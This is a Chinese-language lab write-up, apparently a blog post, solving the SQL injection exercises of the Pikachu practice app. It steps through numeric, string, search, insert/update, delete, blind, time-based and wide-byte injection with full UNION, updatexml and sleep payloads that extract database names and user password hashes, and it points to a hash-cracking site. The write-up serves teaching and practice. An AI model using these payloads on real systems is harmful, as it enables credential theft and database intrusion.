Pikachu之SQL注入

一、 数字型注入

      1.首先发现界面只有一个下拉框和提交框,尝试选择不同下拉框中的选项,发现返回不同的值,但是url并无任何变化,初步推断出使用post传输并且后台语句可能为select xxx,xxx from xxx where id=1-6。
      2.找列数,id=3 order by n#,当n>2时返回错误,等于2时返回正确,说明select语句查询结果有2列
在这里插入图片描述在这里插入图片描述

      3.爆库,id=3 union select database(),2#,得到数据库名叫pikachu
在这里插入图片描述

      4.爆表,id=3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#,返回五个表名
在这里插入图片描述

      5.爆列,id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#,返回若干列名
在这里插入图片描述

      6.知道列名后就该进一步获取数据,id=1 union select username,password from users#,此语句返回了用户名和密码,当然还阔以获取其他列的信息
在这里插入图片描述

二、字符型注入

      1.随意输入字符进去,得到url,包含一些信息,证明采取的是get传输,估计后台sql语句为select xxx from xxx where param =‘input’
在这里插入图片描述

      2.找列数name=fancy’ order by 2%23,%23==#,最终找出列数为2
在这里插入图片描述在这里插入图片描述

     3. 爆库,name=fancy’ union select 1,database()%23,得到数据库名称
在这里插入图片描述

      4.爆表,name=fancy’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23,得到pikachu的表名称
在这里插入图片描述

      5.爆列,name=fancy’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’%23,得到users表的列,当然可以选择其他表名进行爆破,不过理论上users表掌握的核心信息较多
在这里插入图片描述

      6.爆数据,name=fancy’ union select username,password from users%23,得到三个users的信息,Email即是密码(加密后)
在这里插入图片描述

tips:破解密码网站链接:https://cmd5.com/

三、搜索型注入

     1. 随意输入字符,发现是get传输,得到url,猜想sql语句为:select xxx from xxx where param like ‘%input%’,like,模糊查询,&xxx&,匹配包含xxx的
在这里插入图片描述
      2.查找闭合,输入name=xi’,返回错误,闭合失败
在这里插入图片描述

      3.输入name=xi%’%23,返回成功,成功闭合
在这里插入图片描述

     4. 找列数,name=xi%’ order by 3%23,有三列
在这里插入图片描述

      5.爆库,name=xi%’ union select database(),2,3%23,
在这里插入图片描述

      6.爆表,name=xi%’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23,返回若干数据表
在这里插入图片描述

      7.爆列,name=xi%’ union select group_concat(column_name),2,3 from information_schema.columns where table_name=‘users’%23,
在这里插入图片描述

      8.爆内容,name=xi%’ union select username,password,level from users%23,
在这里插入图片描述

四、 xx型注入

      1.找闭合,先输入name=wqeq’%23,闭合失败,在输入name=wqeq’)%23,闭合成功
在这里插入图片描述

      2.后续步骤确认列,表名,列名,内容和上面一模一样

五、 insert/update注入

      1.先选择注册,注册页面如果有注入漏洞的话,应该是insert类型的,因为注册相当于往表里插一行新数据。先随意输入,注册,发现url并无填入值,初步判定是post传输,再在username后值添加’,判断闭合。
在这里插入图片描述

      2.根据页面返回错误提示,初步判定闭合为’),再输入’),返回错误。只不过提示为列数错误,基本确定闭合为,),不过因为#把后面的五条语句全部注释掉,所以报列数错误
在这里插入图片描述

      3.再次添加剩余语句,返回正常页面
在这里插入图片描述

      4.继续爆破,从上面可以看出来,注册页面是没有sql结果回显的,但明显注册的时候如果sql语句有问题是会报错的,因此可以尝试报错注入。输入username=123’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ',成功返回数据库名称
在这里插入图片描述

     5. 输入username=123’ or updatexml(1,concat(0x7e,(select user()),0x7e),1) or ',获取用户名和host。将user()换成@@version可以得到数据库版本
在这里插入图片描述
在这里插入图片描述

      6. 后续爆表爆列跟之前差不多,就不一一列举了。
      7.接着来到修改个人信息界面,修改信息时同样无法看到传输的数据,又是get传输,又开始抓包,找闭合,最后输入两个’’闭合成功,下面继续爆库,爆列,爆数据

六、delete注入

      1.先留言,再删除,又是post传输,
在这里插入图片描述

      2.爆库,爆表一气呵成

7七、盲注(base on boolian)

      1.先输入字符进去,发现url中有值,于是找闭合,输入’,进去,发现错误,多次尝试后发现输入’%23,返回正确答案,于是继续爆破数据库,表名列名。注意:基于boolian的盲注不会像上面的直接返回结果,比如database()是数据库名,但是它不返回数据库名,而是返回一个字符,就需要自己一个字符一个字符的去跟ASCII码进行比较,最后才能得到想要的。

在这里插入图片描述

8八、盲注(base on time)

      1.不管输入正确还是错误用户名,都只返回下面界面
在这里插入图片描述

      2.尝试输入name=kobe’ and if(1=1,sleep(2),1)%23,大概四秒后返回结果

九、 宽字节注入

(1)宽字节注入使用条件是:PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是set character_set_client =gbk 进行了一次编码
(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义
(3)宽字节注入的原理是:当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

      1.尝试输入各种语句lili%df’ or 1=1—ss;lili%df’ or 1=2—ss,发现本质上还是布尔盲注,只是单引号被转义了,而且又正好符合宽字节注入的条件,所以可以通过宽字节来摧毁转义,达到注入目的。
在这里插入图片描述在这里插入图片描述

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值